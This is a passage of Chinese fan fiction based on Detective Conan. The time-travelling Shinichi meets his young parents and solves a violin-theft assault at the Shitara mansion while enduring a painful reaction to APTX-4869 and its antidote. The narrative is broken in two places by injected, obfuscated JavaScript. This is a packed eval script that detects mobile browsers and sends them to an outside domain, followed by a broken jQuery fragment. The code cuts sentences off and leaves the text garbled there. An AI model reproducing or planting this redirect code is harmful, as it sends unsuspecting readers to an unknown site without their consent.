见他死鸭子嘴硬,工藤优作也不在意。年轻小说家身上总有股狂气和傲气,像极了二十年后的高中生侦探……或者说,二十年后尚锋芒毕露的工藤新一像极了他年轻的父亲。 二十岁的工藤优作,二十年后的工藤新一。 一样的年少轻狂、一样的狂傲自信。只是工藤优作在之后用了二十年时间沉淀自己,在自然和时光的尺轮中把自己打磨到沉稳内敛,润物无声。而二十年后的工藤新一,他自然生长的轨道被一颗黑暗中的禁药猝然截断,不情不愿地丢失了十年光阴、十年生活,在日夜隐姓埋名的两年里被命运推着长大,强挺成了一棵纤细但树冠盛大的树苗,用参天的枝叶遮蔽了无数烟云,终于在风浪中折断了年轻的、稚嫩的树干,轰然倒下。 而阳光姗姗来迟。 一路上两人再无对话。到超市后,车门“咔哒”一声弹开,少年像松开的弹簧般跳下车。夜风带着潮湿的草木味扑面而来,他抬眼,视线越过停车场稀疏的灯柱,径直锁在西北角—— 那座老宅像被夜色托举的孤岛,通体灯火通明。鹅黄色的光从每一扇拱窗里漫出来,把爬满常春藤的石墙映得半明半暗。高处的橡树与天井里的老枫交错成巨大的剪影,风过时,叶片哗啦啦作响,仿佛替宅子低声呼吸。 工藤新一眯起眼,瞳仁里倒映出那团光晕,像猎人确认猎物方位般轻轻“哼”了一声。随后他收敛神色,小跑两步追上前方的人。 “好了,进去吧。”工藤优作锁了车,钥匙在指间转了个漂亮的银弧。他侧头,看见少年仍恋恋不舍地回望老宅,终究心软:“一会儿买完东西,绕到设乐家门口兜一圈,嗯?”语气像在哄一个讨糖吃的小孩。 工藤新一立刻顺杆爬,尾音扬起十二分的甜度:“真的?优作先生最好了!” “其实我也没比你大多少吧。”工藤优作失笑,单手插兜,另一只手推开店门。自动感应灯刷地亮起,把他俩的影子拉得老长,“既然都姓工藤,叫‘先生’太生分——不如叫哥哥?” 天天把青梅竹马、同班同学、自家老妈称作“哥哥姐姐”的工藤新一习以为常。少年把外套帽子往后一掀,碎发被静电撩得乱糟糟,顺口得仿佛在点名:“好吧,优作哥。” “嗯,餐具、餐具……啊,在这儿。” 清亮的顶灯把金属货架照得一片雪亮。工藤优作单手推车,另一手像变魔术似的,把一次性纸盘、竹刀叉、加厚纸杯依次丢进车里。转个弯,他又扫了半打不同口味的薯片、一袋棉花糖、两盒饼干,甚至还有一堆巧克力。眨眼功夫,购物车里半壁江山已被零食占领。 工藤新一走在左侧,双手揣兜,抬眼瞄了瞄那堆零食小山,嘴角抽了抽:这一趟到底是来买餐具的,还是买零食的啊。 他怎么不知道老爸这么喜欢吃零食?莫非是与老妈认识之后转性了? 小少年耸耸肩,把吐槽咽回肚子,目光再次飘向超市西北角的窗。那里能看见设乐家的老宅。此时宅子的灯依然亮着,而三楼那间熟悉的屋子——工藤新一记得那是收藏乐器的房间——刚刚亮起了暖白的灯光。像有人推门而入,指尖拂过弦轴,惊醒了沉睡的小提琴。 有人进去拿乐器了吗? 工藤新一心里没来由地一紧,指尖无意识地叩着外套口袋里的药盒。 “新一,这个你喜不喜欢吃?”工藤优作挑好餐具,又心安理得地拿起了一包薯片。 “啊?”工藤新一的心早就飞到了窗外,敷衍地点点头,“哦哦,好。” 这么在意设乐家?工藤优作推了推眼镜,把薯片随手扔进购物车,也看了眼窗子。他侧身把购物车往右轻轻一别,恰好挡住新一继续窥视的视线;同时脚下不停,带着少年往收银台方向滑去。而工藤新一一直瞄着窗外,眼睛也没有看路。于是理所当然,路过其中两排货架时,小少年跟右手边的来人撞了个正着。 “嘶……” 少年倒抽一口凉气,后腰正磕在冷硬的金属货架棱角,钝痛像涟漪一样瞬间爬满整条脊椎。他弓着身,眼角沁出一点生理性泪花。 “对不起小弟弟,没事吧?” 清脆的女声从头顶落下。来人利落地蹲下,高马尾在灯光里甩出一道弧线。她的睫毛在顶灯里投下一弯阴影,眸子里盛着真切的担心:“对不起哦,我忙着和朋友聊天没有注意到你。” 诶?工藤新一眨眨眼。这个年轻女人是那个女演员…… “怎么了?” “怎么了?” 两道声音叠在一起。前者低而稳,来自推着购物车匆匆赶来的工藤优作;后者则像掺了蜜糖的晚风,柔软又带光。少年几乎条件反射地侧头,视线越过面前女人的肩头—— 货架尽头,一个棕发女子摘下墨镜,从高马尾女生的身后走过来。她年轻、漂亮,卷曲的棕色头发披散在肩头,灯光穿过她的发梢,碎成流动的琥珀。她走近几步,那双同工藤新一瞳色一致的蓝眼睛在看见少年时倏地弯成两枚新月,笑意像春夜第一朵樱花,毫无预兆地绽开。 她蹲下来,指尖轻轻拂过他额前的碎发,腕间一缕清甜橙花味悄悄弥散:“小弟弟,疼不疼啊?” 工藤新一愣了半秒,像被电流击中,心脏猛地跳空一拍。他迅速站直,慌乱地拍了拍裤腿上的灰尘:“我、我没事的,姐姐。”声音比平日高了半个八度。 “你也真是的,京子,”棕发女子回头,佯装生气地鼓起腮帮,嗓音却带着撒娇的尾音,“光顾着说话,路都不看。” “还不是跟你聊得忘形嘛。”京子吐吐舌头,朝少年双手合十,“真是太不好意思啦,小弟弟。” 工藤新一的目光不受控制地流连在棕发女子——他妈妈的脸上。 工藤有希子、鞍知景子……现在还应当称呼藤峰有希子小姐和鞍知京子小姐。 “怎么样,新一?有没有撞疼?” 工藤优作半蹲下来,掌心覆在少年单薄的肩胛上。隔着一层卫衣布料,他能感觉到孩子骤然绷紧的肌肉,也能捕捉到那道怔怔的视线——顺着那目光望去,优作的心口忽然“咚”地一声,仿佛有人用指尖轻轻拨了一下他从未被触动的弦。 “我没事,お……优作哥。”少年声音发飘,尾音在喉咙里打了个旋儿,把“爸爸”硬生生吞回去一半。 有希子仍维持着半蹲的姿势。她仰脸,眨也不眨地望着面前的小男孩:柔软的黑发在灯光下泛出鸦羽般的光泽,鼻尖微翘,睫毛在眼睑投下一小撮晃动的影子。那双眼——和她如出一辙的澄澈冰蓝——正盛着太多她读不懂的情绪:惊喜、怯意、眷恋,像星屑被揉碎、统统倒进一汪春水里。 天才女演员的第六感一向精准。她几乎没经过大脑,右手已先一步抬起,指尖穿过少年额前的碎发,带着橙花与晚风混杂的香气,轻轻揉了揉。 有希子心底蓦地生出一种荒唐的熟稔感。 她收回手,目光顺势上扬,撞进工藤优作略带局促的视线:“您是这孩子的……哥哥?” “啊,我……”男人难得地磕绊,耳后迅速漫上可疑的绯色,“工藤优作。” 工藤新一则抓紧机会,声音因为紧张而拔高:“那、那个……我可以叫您有希子姐姐吗?” 他的指尖攥紧了外套下摆,仿佛把全世界都攥在那方寸布料里——比起同工藤优作有预谋的见面,与母亲猝不及防的相遇更令他措手不及。 藤峰有希子微怔,随即弯起眼睛,笑意像涟漪层层荡开:“当然可以呀,小弟弟。”她故意拖长尾音,带着少女特有的轻快,“你叫什么名字?” “他叫——” 工藤优作几乎是抢答,却在出口的瞬间意识到失礼,慌忙收声,“啊……抱歉。” 空气里漂浮着微妙的停顿。 鞍知京子抱着包包站在一旁,茫然地左看右看:明明撞到人的是我吧?怎么现在变成有希子跟人家兄弟俩一见如故? “我叫工藤新一,姐姐。”工藤新一笑得灿烂,眼里闪着光,“有希子姐姐就是那个漂亮的女演员吗?我看过你的电影哦!” 有希子“噗嗤”笑出声,少女特有的明快从眼角眉梢溢出来:“只是个小配角啦……我还只是个高中生呢!”她摆手,耳尖却悄悄红了,像雪色里晕开的一团胭脂。 工藤优作则见缝插针:“那真是幸会,藤峰小姐。和您想必,我只是一个落魄的推理小说家而已了。” “诶——原来是你!”有希子眼睛倏地睁大,棕发跟着轻晃,“我上周才读完你的《莫比乌斯》,结局的反转超——厉——害!”她双手背在身后,上身微微前倾,少女式的崇拜毫不掩饰。 怎么就突然聊成了粉丝见面会? 工藤新一与鞍知京子对视一眼,双双在对方眼里看到同款无奈。他欣慰地笑笑,目光终于从藤峰有希子身上移开,再一次看向窗外的设乐老宅。 夜像被墨汁重新调匀,原本璀璨如星海的设乐老宅忽然熄掉一角——三楼那间乐器收藏室的灯闪了闪,像被无形的手掐住咽喉,倏地灭了。 工藤新一倒抽一口气,瞳孔骤缩。 紧接着,整栋宅子的灯光次第熄灭,仿佛一支盛大的交响乐曲被粗暴地掐断最后一个音符,只剩死寂的黑。 ——不好。工藤新一内心警铃大作,连忙拉着工藤优作:“优作哥!优作哥!” 这五分钟里,工藤优作已经和藤峰有希子交换了电话号码,闻言看向男孩,却见他刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137891|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚还因为激动而泛红的脸颊已然苍白下来。他立马看向窗外——设乐老宅,没有光亮了。 “抱歉。”男人的声音骤然低沉。他朝藤峰有希子与鞍知京子匆匆一点头,额前碎发随之晃动,“突有急事,改日再叙,藤峰小姐。” 话音未落,他已扣住少年的肩膀,转身冲向感应门。 “嘀——”门扇向两侧急速滑开,夜风卷着草木与尘土的冷腥扑面而来,吹得少年外套下摆猎猎作响。购物车被孤零零地留在原地,满载零食与餐具,像是被丢下的一场盛宴。 “怎么了?”工藤优作飞身上车后才问工藤新一。 “设乐家三楼的乐器收藏室灯先灭——紧接着整栋宅子全黑。”少年伏在副驾窗边,夜风灌进他的领口,把原本苍白的脸吹得泛青,“有人拉了总闸……先报警,再叫救护车,快!” 工藤优作没有追问,只按照男孩的吩咐做了。 路上,一辆看上去价值不菲的车子从对向开来,反射着路灯的冷光,和他们擦肩而过。工藤新一似有所觉,在那一瞬间看了那辆车一眼——车里面的赫然是惊慌的设乐弦三郎和他的妻子。 果然是出事了。 车子还未完全刹停,轮胎仍在碎石上发出细碎的摩擦声,工藤新一已推开车门,像一只离弦箭般冲了出去。夜风掀起他的外套下摆,猎猎作响。设乐大宅的门没有关,大概是为了营造出一副被人入侵的假象。 工藤优作跟着他跑进去,边跑边问:“是弹二郎先生出事了吗?” “啊。”工藤新一头也不回,手里拿着手机,拨打着设乐弹二郎先前留下的名片上的电话。 “嘟——嘟——嘟——抱歉,您拨打的电话已关机……” 电话通了没几秒就转为关机。工藤新一暗骂一声。 “打不通?”工藤优作侧首,眉心紧蹙。 “是啊,”工藤新一攥紧手机,“一定是那把斯式琴——呃啊——” 话音未落,少年忽然一个踉跄,仿佛被无形的绳索绊住了脚踝。膝盖重重磕在冰冷的大理石地面上,发出沉闷的撞击声。 怎么会……我的心脏…… 工藤新一瞪大眼睛,拿着手机的那只手紧紧按在心脏上,指骨泛出骇人的青白。心脏在胸腔里疯狂擂鼓,每一次搏动都伴随着撕裂般的疼痛,仿佛有人正用烧红的铁锤重重敲击他的肋骨;全身热的想要融化,汗水满满渗透进了衣襟……这熟悉的疼痛感,分明是解药的药效! 什么时候…… “啊……”工藤新一强忍着呻吟,拒绝了工藤优作伸过来的手爬起来,继续强挺着跑进宅子。工藤优作惊慌地看着他,叠声问:“新一?你怎么了?新一?” 工藤新一现在完全无法出声,他怕他一开口,就会吐出一连串的哀嚎。他也不敢停,怕一停,身体就会像被吹破的纸袋“嘭”地炸开。于是只拉着工藤优作,在漆黑的大宅里奔向收藏室。 他没有时间解释,要是当着工藤优作的面变大……他不知道会有什么后果。 宅子里没有灯。月光被厚云碾碎,只剩几缕灰白从百叶窗缝隙漏进来,像失真的底片。长廊幽深得像一条被抽干空气的隧道,木地板在脚下发出断续的呻吟。 优作被他拖得几乎小跑,脑子却在这不合时宜的狂奔里忽然冷静:为什么他知道楼梯在哪?为什么他连拐角有几级台阶都一清二楚? 疑问像暗潮一样翻涌而来,却被少年骤然拔高的嘶哑嗓音打断。 “开……开门!快——!” 最后一个字几乎劈了叉,尾音带着血气。 工藤优作抿抿嘴,也不犹豫,一脚踹开了收藏室的大门,打开手机的手电筒。 手电筒的光束像一把冷白的刀,劈开尘埃漂浮的黑暗。屋内狼藉——琴盒倒扣,玻璃碎屑在脚边闪着星子般的冷光;角落里,两个被反绑的人影蜷成虾米,嘴里的胶布随着急促的呼吸一起一伏。空气里混着松香、血腥味与木屑潮气,压得人喉咙发涩。 房间正中,设乐弹二郎侧躺在血泊里,暗红液体正顺着地板缝隙缓缓爬行。工藤优作单膝跪地,“嘶啦”一声撕开自己衬衫下摆,紧急给伤者止血。工藤新一则终于松了口气,趁工藤优作没注意,悄悄走到门外。他的指节抖得几乎捏不住那枚小小的药盒,汗水顺腕骨滴落,砸在地面,溅成更碎的汗珠。 盒盖弹开,“嗒”一声轻响——里头孤零零躺着一颗红白胶囊,在微光里像一枚危险的糖果。 ——果然。 心脏仍擂鼓般撞击胸腔,耳膜轰鸣。他记起上车前那阵忙乱:因为着急与工藤优作同去,他忘记了感冒药已经丢了一颗的事,匆忙吞下的两颗胶囊里,一颗是缓解感冒的温和药丸,一颗却是足以令身体复原的解药。 解药这个称呼听起来好像没什么不好的,但那也是和APTX-4869自身相比。实际上,APTX-4869和它的解药,都是难存于世、背离人性的禁药。若论毒性和破坏性,二者难分伯仲。 但现在没时间懊悔。 工藤新一用指背抹去唇角冷汗,抬眼——房内,工藤优作正做最后一道结扣。少年深吸一口气,像赌徒掷下最后筹码,抬手将剩下的那一枚胶囊抛入口中。干涩的胶囊壳擦过喉壁,带着微苦的塑料味一路滚进胃里。 他闭上眼睛,严阵以待着更剧烈的疼痛来袭。 他在赌,赌还没有发生作用的解药会和刚刚吃进去的APTX-4869在体内汇合,互相消解……赌,赌他不会在工藤优作面前暴露。 15. 回旋 可惜工藤优作还是看见了。 他看着工藤新一压抑着粗气、艰难地走到门外,小心翼翼地观察了一下四周,然后捂着胸口,脱力一般靠着墙壁、慢慢坐下来。他的手在外衣口袋里僵硬地翻找了半天,终于掏出了想要的东西——一个药盒。随后,他颤抖着打开它,有半天没有动作,只是注视着药盒里面,像是在挣扎纠结什么……之后又忽然下定决心,从里面拿出一颗不知道什么的药,塞进嘴里,自己捂着嘴巴强咽了下去。 他在吃药。 优作站在阴影里,指节无声收紧。新一的身体,是有什么隐藏的病症?是为了不让养父母担心,才选择处处隐瞒?可那孩子一向理智到近乎冷酷,若真是重病,他应当会平静地列出治疗方案、预估费用,然后独自扛下所有债务,而非像现在这样,缩在无人角落,吞咽身份不明的药片,连呼吸都小心翼翼。 这与他的行为模式相悖。 那么,新一突如其来的剧痛究竟是什么?如果是慢性病,发作前不会毫无征兆,更没必要瞒他。可若不是疾病—— 优作的目光落在少年苍白的指节上。药盒的棱角被攥得变形,像被折断的肋骨。 工藤优作俯身,将设乐弹二郎安置在不会二次受伤的位置,指尖掠过对方颈侧确认脉搏后,才缓缓起身。这间屋子的窗户已经被打碎了,屋里各种珍贵的乐器都有不同程度的损伤,但唯一缺席的只有桌上那个保险箱里的琴盒。 斯特拉迪瓦里琴…… “唔……唔!” 角落里,设乐调一郎被反绑的双手挣得麻绳簌簌作响,额角青筋暴起。优作仿佛这才注意到他的存在,嘴角扬起一个过分温和的弧度:“失礼了。” 他蹲下身,指尖在绳结上轻巧一挑。麻绳松脱的瞬间,调一郎踉跄着要扑向血泊,又被优作礼貌地拦住、赶到门外:“抱歉,从现在起这里是犯罪现场。在警方封锁前,任何人不得入内。” “那我二弟——”设乐调一郎的嗓音像被砂纸磨过,眼角余光却控制不住地往保险箱方向飘。 闻言,本就在门外的工藤新一摇摇晃晃地站起来,也看向屋里。刚刚那一波解药带来的疼痛已经暂时过去,只是钝痛的话,倒还忍得下去……希望aptx和解药的混杂冲击不要过于难熬。 “情况不太好。令弟伤到的是后脑的右侧,人已经失去了意识,具体情况不明,得等救援人员过来才行。”说着,工藤优作伸出手拉住工藤新一的左臂,不动声色地给男孩一个支点,然后悄悄朝他眨了眨眼。 ——弹二郎没事,只是需要“看起来有事”。 工藤新一瞬间放下心来。 他当然相信——相信到近乎笃定——只要工藤优作踏进这间屋子的第一步,就能把所有伪饰的裂缝看得清清楚楚。哪怕时光倒回二十年前,那个还被人称作“年轻小说家”的优作,也能用目光剥下“入室抢劫”这层拙劣的外衣,像随手拂开琴键上的灰尘。 幸好,幸好他拉着工藤优作一起来了…… “啊——”工藤新一忽然腿一软,单膝跪在地上。 “新一!”工藤优作的声音第一次失了分寸。他几乎是扑过去,双手钳住少年单薄的肩膀,指尖隔着衣料仍能感到皮肤下那阵近乎痉挛的震颤。“我现在就带你去医院。” “不……不能……”新一垂着头,汗珠沿着睫毛滚落,在地板上砸出深色的小圆点。 他知道,是那颗后来咽下的APTX-4869终于撕掉伪装开始反扑了。 APTX-4869和它的解药是完全相反的两种药性。此时解药暂且偃旗息鼓,毒药开始兴风作浪:它直接勾起了心脏不规律的剧烈跳动,全身的细胞瞬间由刚刚的“生长”转为“逆生长”,骨骼似乎在不堪重负地颤动。 好疼……好烫……工藤新一只觉得全身无一处不痛,那种疼痛和外伤不一样,直接作用在了身体深处,如同直击灵魂、把血肉和魂魄都扔在绞肉机里翻滚一样。 更糟的是,原本已沉寂的解药药性被这股凶暴的毒素生生拽醒。 两条剧毒之蛇以他的身体为斗兽场,鳞片刮擦过神经,毒牙刺入骨髓,谁也不肯退让半步。它们在血管里缠斗、撕咬,将每一寸脆弱的血管壁都当作了角斗场的围栏。 “新一!新一!”工藤优作手足无措地把男孩拉进怀里抱紧。且不论他也才二十出头,工藤新一——这个莫名牵动他注意力的男孩此时痛苦至极他却力不从心,不由得他不慌乱。 小男孩此时紧紧抱着他的脖颈,几乎算是锢住那里,身上的肌肉紧绷且颤抖,工藤优作甚至能感受到他的小手攥紧自己的上衣,冷汗浸透了那一片布料。男孩痛苦极了,眼睛半睁半闭最后终于放弃一般紧紧合上,头颅无助地微微扬起,露出细碎的痛呼,又掩盖一般埋进成年人的肩膀里,艰难地喘息着。 他的冷汗已经浸透了全身,额头碎发黏在一起,脸色苍白得仿佛一个行将就木的重病患,嘴唇也泛着青紫,不似寻常。他本能地抓住最近的热源,把自己整个人蜷缩在那,眼前的景物已经模糊得出现了斑点。他隐约知道自己是在工藤优作——他父亲的怀里,但是已经无力说话,剩下的力气连眼睛都不愿再睁开,全都拿来抑制自己的痛吟。 再忍一忍……忍一忍…… 忍过发作期就好了……会好的…… 可疼痛像烧红的铁钳,一寸寸碾碎理智。 “疼……好疼……爸爸……” 爸爸? 工藤新一现在完全是无意识地在呻吟着。“好疼”“热”等等词汇破碎着传出,更多的是无意义的呼声。工藤优作心疼得无以复加:这孩子是,把他当做自己的爸爸了吗? 优作胸口一窒,像被那两个字生生撕开。 少年滚烫的额头抵在他颈侧,像贴着一块烧红的炭。他不知道新一到底是怎么了,只好顺着他的力度,把他紧紧抱在怀里,试图向他传递“我在这”的信号。一边又注意着救护车和警车的进度,只等一到,就要把男孩带上急救车检查。 起码……不能让他这么痛下去。 剧烈的疼痛和极度的紧张都会让人被遗忘在时间的河流中。不知过了多久,工藤优作怀里紧绷的脊背终于一点点松垮。滚烫的体温仍高,却不再灼人;痉挛的指尖仍颤,却不再死死抠进他的衬衫。 “呼……哈……” 新一像被抽干最后一丝力气,只剩细若游丝的喘息。两颗药在体内厮杀后的废墟,此刻横陈在每一根神经末梢。他苦笑:以后绝对不能乱放解药和毒药了。这一次的苦头完全是他自作自受嘛,活该。 可是,还是很疼啊……钝痛像潮水,一浪接一浪拍打着骨骼与肌肉。高热蒸得视野发花,平日清亮的眼睛蒙着雾,理智摇摇欲坠——他太累了。 “新一?”工藤优作也意识到他的情况好转了,“怎么样?现在好些了?” “嗯……”冷汗顺着鬓角滑进衣领,少年努力弯了弯嘴角,“给你……添麻烦了……”老爸。 他险些脱口而出那个称呼,却一个急刹车,换成一个更疏远的:“优作哥。” “说什么傻话,这怎么就麻烦了?”工藤优作拍拍男孩的后背,“我带你去检查一下吧。” “不要……”工藤新一深知什么也查不出来只是浪费时间,再说,他真的不喜欢医院,“优作哥,你信我,真的没事——这还有案子等你破呢。” 工藤优作的眼里明明白白写着:你觉得我会信? 两双相似的蓝眼睛对视。几秒后,更圆润、更稚气的那双败下阵来,睫毛颤了颤,选择示弱扮可怜:“优作哥,信我。” 工藤优作终是叹息,把他抱得更紧:“你啊……” “好,等回市区再带你去检查。”他低声妥协,掌心覆在那片仍发烫的额头上,“先睡吧,我已经把案子想通了,剩下的交给我。” “嗯……” 警灯与救护灯在夜色里交错,像无声的潮水。设乐弹二郎被抬上担架,脸色惨白却呼吸平稳——显然性命无虞。工藤新一趴在年轻小说家的肩头,终于放任自己沉进黑暗。 “村中警部,好久不见。” 来的警官正是二十年后普拉米亚事件中的那位退休刑警村中努:“哎呀,工藤先生!这孩子是……?” “亲戚家的小弟弟,玩累了,先让他睡会儿。”工藤优作侧了侧身,挡住照在新一脸上的灯光,“案子我已经理出头绪,借一步说话?” 话音落下,警笛声、脚步声、人声,全都退得很远很远,工藤新一的呼吸渐渐匀长。 …… 不知过了多久,胸腔里那阵钝痛被另一种熨帖的热度取代。 工藤新一在混沌中深吸一口气,氧气带着淡淡的墨水味灌入鼻腔——熟悉得令人安心,却也突兀得令人瞬间清醒。 等等。 这个角度……这个高度…… 他蓦地睁眼,视野里先是一排扣得一丝不苟的衬衫钮扣,再往上是突起的喉结与线条利落的下颌。自己整个人蜷在对方怀里,像被一只温热而宽大的手拢住的雏鸟。 ——他怎么还是被抱着?! 他猛地捂住脸,只敢从指缝间偷看。工藤优作侧脸在警灯余辉里显得过分平静,呼吸轻缓,仿佛真不觉得怀里多了个快四十斤的“负重”有何不妥。 新一咽了口发干的唾沫,动作小心得像拆炸弹:先把抵在对方肩窝的额头挪开,再悄悄收回落在腰后的手,最后试图用膝盖抵住优作的大腿,把自己往外“滑”出去。 刚挪出半寸,他听见工藤优作的声音。 “你醒了啊,新一。冷吗?” 男孩摇摇头,又忽然意识到他还在青年怀里,于是僵住不动了:“不冷,谢谢优作哥。” 工藤优作正和村中努警部解释他们出现在设乐老宅的原因,感觉到新一醒了,示意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人贩子事件中,如果他没有参与,那么被绑走的孩子很可能会患上心理疾病。而“失语症”就是很常见的一种;外守一事件则更明显,如果是本来的悲惨后果,诸伏景光就会患上严重的PTSD;银行抢案则会发生一起意外走火事件,职员鲛崎美海会被误杀,对应了“猝不及防”和“倒霉”;而这一次,不论是二十年前还是二十年后,两位犯人行凶的动机都是那一把斯式琴——杀害弟弟的调一郎想占有她、而为父母报仇的羽贺响辅则是通过听出了那把琴的声音确定了复仇计划——用他的绝对音感。 所以这代价算得上“半随机”。它根据工藤新一每一次规避的原有悲剧,从中挑出某一个要素,然后折价应验在他身上。持续时间大概也是随着改变事件的影响力而决定的,只是这一点他难以判断。 “——工藤新一。” 一道阴狠的声音像冰锥凿进耳膜,阴冷、低沉,带着金属般的回响。 正思考的工藤新一浑身一僵,寒毛倒竖,他猛地回头,动作快得几乎扯痛未愈的肌肉,肩胛骨在衬衫下绷紧成一把拉满的弓。 然而身后只有楼梯拐角那只装饰花瓶,瓷面在幽暗里泛着死鱼的苍白光泽,空洞地映出他紧绷的轮廓。 他随后反应过来——是幻听。那音色他太熟悉了。 琴酒。 绝对音感不会撒谎。那声线里淬过的杀意、轻蔑与恶狠狠的咬字,和上辈子子弹擦过耳畔时听见的一模一样——实在是阴魂不散。 工藤新一撇了撇嘴角,绷紧的肩线慢慢松开。他抬手挠了挠发痒的耳廓,顺势把下巴搁在膝盖上,指尖无聊地拨弄着外套袖口细密的纹绣。夜风从走廊尽头吹来,带着一点尘埃和木头的潮味。闲下来,他自然而然地就考虑起了宫野家的事。 要让宫野一家彻底脱离组织,又不诉诸暴力,就必须双向切断联系。一是让宫野夫妇自愿止步,二是让组织主动放手。后者显然更棘手。 “你以为那个叛徒还能救你?你早该死了!” 琴酒的嗓音骤然贴耳,低沉、阴鸷,伴随“喀嗒”一声金属上膛。 第三次幻听。工藤新一连睫毛都没颤,只仰起头,视野里掠过上一世爆炸的炽白火光。火光映在他瞳孔深处,像一簇被强行压灭的焰。半晌,他眨了眨眼,神色恢复平静,目光穿过昏暗的四楼走廊,心里仍筹划着有关组织的事,眼睛就如同出神一般重新落在工藤优作身上。 “真的是好久不见了,村中警部,”工藤优作活动了一下肩膀,缓解长时间负重的酸痛,“怎么没见佐藤警官和目暮警官他们?” 村中努和颜悦色道:“他们去附近的鸟矢追查那个专撞不良的肇事犯了。对了,那个小孩子……是你弟弟?” 工藤优作:“啊,新一是我偶然结识的小孩子,人相当聪明。我今天其实是和新一一家出来露营的——不过,今晚发生这么多事,怕是不成了。” “嗯,谁也想不到这个音乐世家,竟然会发生这种事。我听说他们兄弟三人平时联系就不多,明明都是学音乐的,情感应该更丰富才是,怎么会如此不亲近甚至兄弟阋墙。”村中努叹了口气。 “次于沉默,最接近于表达出不能表达的,就是音乐。”工藤优作摸着下巴,“赫古利的话。我想,他们可能许久没有在对方面前演奏乐曲了吧。” 16. 夜曲 工藤新一的目光像一条没有焦点的丝线,始终虚虚地缠在工藤优作身上。刚醒的脑袋还笼着一层潮湿的雾气,让他的眼神带着恍惚的水色。偶尔,那层雾气会被突如其来的幻听撕破——他肩膀一僵,视线猛地收回,像受惊的猫,迅速在身后与头顶扫视一圈;确认空荡后,又放任自己重新陷回那片茫然的空白。 灯光由于人影的关系在走廊尽头明明灭灭。一个年轻的鉴识官弯腰收拾物证,余光瞥见独自靠墙的小少年,心里蓦地想起家里同岁的儿子。他摸了摸口袋,掏出几粒还包着玻璃纸的糖果,走到新一面前,半蹲下身子。 “小弟弟,闷不闷?”他把糖摊在掌心,声音放软,“再等等,叔叔们很快就收队,你就可以回家了。来,吃糖吗?” 话音未落,正处在幻听状态的工藤新一耳边刚好炸开一声枪响,猝不及防被这位鉴识人员吓了一跳。他看着这张熟悉的脸,脱口而出:“茶木警官?” 茶木佐江一愣:“你认得我?” “啊,不是,”工藤新一反应过来,站起身,“是看到了警官叔叔的警官证啦。”他迅速编了一个瞎话,看着茶木佐江胸前挂着的工牌。 茶木佐江不疑有他,抬头看着昏暗的四楼阁楼,打量一圈。阁楼深处浓重的黑暗犹如和墙壁连成一面,三楼的光隐约冒头,只能映出那些墙壁上雕刻的古老的雕花,看上去既神秘又诡异。 “从底下看,确实瘆得慌。”他自以为懂了孩子方才的紧张,把糖往前又递了递,“老宅子夜里总这样。吃一粒,压压惊?” 工藤新一弯了弯眼睛,接过糖果,却没拆开。玻璃纸在指间沙沙作响,像捏碎一截薄冰。他把那几粒糖一并塞进兜里,掌心贴着口袋,仿佛把方才的枪声也一起折了进去。 “怎么了?”工藤优作夸张地揉着肩膀走来,“走了,新一。” “好。”工藤新一从台阶上跳下来,转身和茶木佐江摆摆手,“茶木警官再见!” 工藤优作牵着小孩子的手,也笑着道别,心里却想着刚刚茶木佐江的话。昏暗的古老宅子,确实神秘诡异——新一莫非是因为看见了停电的大宅子,害怕了?他觉得不像。那么,是以前也见过这样的老宅,并且经历过什么? 最好不是这两个猜测才好。工藤优作看着小男孩的发旋。与之相比,他宁可新一只是单纯的心脏不好,恰巧发作。 “新一!优作先生!”诸伏景光清亮的声音忽然从远处传来,“哥哥,他们出来了!” 工藤新一眨眨眼。 红蓝色警灯交错闪烁,警戒线在大宅外拉出一道冷硬的边界。工藤优作租来的面包车停在一旁,诸伏景光正朝他们挥手。 “景光?他们怎么也来了?”工藤新一怔住。 工藤优作单手插在风衣口袋里:“等会儿我要去警局做笔录,顺便旁听犯人的口供——对当下没什么灵感的小说家来说,这是最好的采风。另外,新一,你记不记得答应过我什么?” 男孩无辜地眨眨眼。 “唉。”优作抬手,不轻不重地在他发旋上敲了一下,“去医院检查你的身体!——我打电话给你养父母了,他们听说之后一致决定今晚就去检查,所以我就拜托村中警部派人开着我的车去把他们接来了。我先把你们送到医院,再折去警视厅。” 话音落下,他们已走到车边。工藤新一单手插兜,肩膀微塌——医院根本查不出任何东西,他心知肚明。 “新一!”诸伏加奈快步迎上,蹲下身与他平视,掌心贴上他单薄的肩,“听优作先生说你心脏不舒服?以前有过吗?现在还难受吗?” 男孩心口一暖,弯起眼睛,露出孩子气的笑:“真的没事了,加奈阿姨。所以……医院就免了吧?”他语气理直气壮,视线却悄悄在三个大人脸上来回游移,像一只试图偷溜的猫。 “绝对不行。”诸伏高明声音不高,却带着长兄特有的压迫感。经历了外守一那件事,被隔绝在外的长子对全家人都充满了保护欲,绝不允许他们的家庭成员身上有健康隐患、讳疾忌医。 “总之,先上车吧。”工藤优作已经拉开驾驶座车门,钥匙一转,引擎低低轰鸣。 “真的不用——”新一嘟囔着爬进后排,被景光和高明一左一右夹在中间,“去医院检查不出什么的——英拓叔叔应该知道吧!上次住院那次,英拓叔叔不是让我做过全身检查吗?” “长野的设备毕竟有限。”加奈跟着坐进去,回头冲他柔声劝,“东京再查一次,大家都放心。” 去医院也查不出什么? 工藤优作低声重复,尾音像刀锋在夜色里轻轻一挑。郊区路灯一盏接一盏掠过,暖黄的光在他侧脸投下断续的阴影,像老式电影胶片一格一格闪动。 ——新一,你到底是…… “对啊,再查一次总没坏处。”诸伏景光附和。 